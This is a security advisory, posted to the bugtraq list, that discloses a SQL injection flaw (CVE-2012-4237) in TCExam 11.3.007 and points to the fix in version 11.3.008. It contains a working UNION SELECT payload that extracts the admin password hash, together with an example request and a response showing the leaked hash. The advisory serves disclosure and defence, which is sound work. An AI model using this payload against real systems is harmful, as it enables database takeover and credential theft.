TCExam Edit SQL Injection

From: research <>
To: bugtraq <>
Subject: TCExam Edit SQL Injection

| TCExam Edit SQL Injection |


TCExam 11.3.007 is prone to a SQL injection flaw located in
tce_edit_answer.php and tce_edit_question.php. These files pass a
'subject_module_id' parameter into a SQL statement without satisfactory
sanitisation. An attacker with authoring permissions could leverage this
vulnerability to take full control of the database.

CVE number: CVE-2012-4237
Impact: High
Vendor homepage:
Vendor notified: 06/08/2012
Vendor fixed: 06/08/2012
Credit: Chris Cooper of Reaction Information Security

This advisory is posted at:

Affected Products
======== ========

Confirmed in TCExam 11.3.007. Prior versions may also be affected.


The 'subject_module_id' parameters in the tce_edit_answer.php and
tce_edit_question.php pages were found to be subject to a SQL injection
vulnerability. It was possible to inject arbitrary SQL statements into a
WHERE clause, retrieving information from the database via the page output.
The attacker must be authenticated as a valid user with a permission level
of 5 or above in order for the attack to be successful.

The following payload will extract the admin password hash (some characters
may need to be URL encoded):

999999.9 union all select (select
concat(0x7e,0x27,tce_users.user_password,0x27,0x7e) from `tcexam`.tce_users
where tce_users.user_name = CHAR(97,100,109,105,110) limit 0,1)

Example Request:

_id=3&answer_question_id=7 HTTP/1.1
Cookie: PHPSESSID=db1fe2b665994ff76356e7a28abfa5df

Example Response:

--- SNIP ---
<select name="question_subject_id" id="question_subject_id" size="0"
; document.getElementById('form_answereditor').submit();" title="test
topic"> <option value="~'c574b5b09ab10f4f39ae9dce6d539cf0'~">1. -
[%00]</option> </select>
--- SNIP ---


An authenticated user with a permission level of 5 or higher could take full
control of the database, essentially allowing them to escalate their
privileges by either directly controlling the database, cracking an
administrator password or potentially changing their own permission level.
Furthermore, an attacker might be able to leverage this vulnerability in
order to further compromise the host machine.


Upgrade to TCExam 11.3.008.


In addition to posting on the website, a text version of this notice has
been posted to the following e-mail and Usenet news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS
corporate website, but may or may not be actively announced on mailing lists
or newsgroups. Users concerned about this problem are encouraged to check
the URL below for any updates:


Reaction Information Security 
Lombard House Business Centre,
Suite 117,
12-17 Upper Bridge Street,
Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk

Copyright © 1995-2021 All rights reserved.